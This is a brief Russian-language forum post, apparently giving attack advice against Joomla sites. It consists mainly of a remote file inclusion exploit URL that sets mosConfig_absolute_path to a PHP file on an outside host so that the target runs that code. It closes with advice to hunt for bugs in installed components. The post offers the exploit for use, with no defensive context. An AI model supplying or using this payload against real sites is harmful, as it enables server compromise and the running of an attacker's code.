exploit:

http://joomla/index.php?mosConfig_absolute_path=http://site.ru/php.txt

Хотя уязвимости джумлы больше зависят от компонентов которые в ней установлены чем от версии.

Попробуй в компонентах баги поищи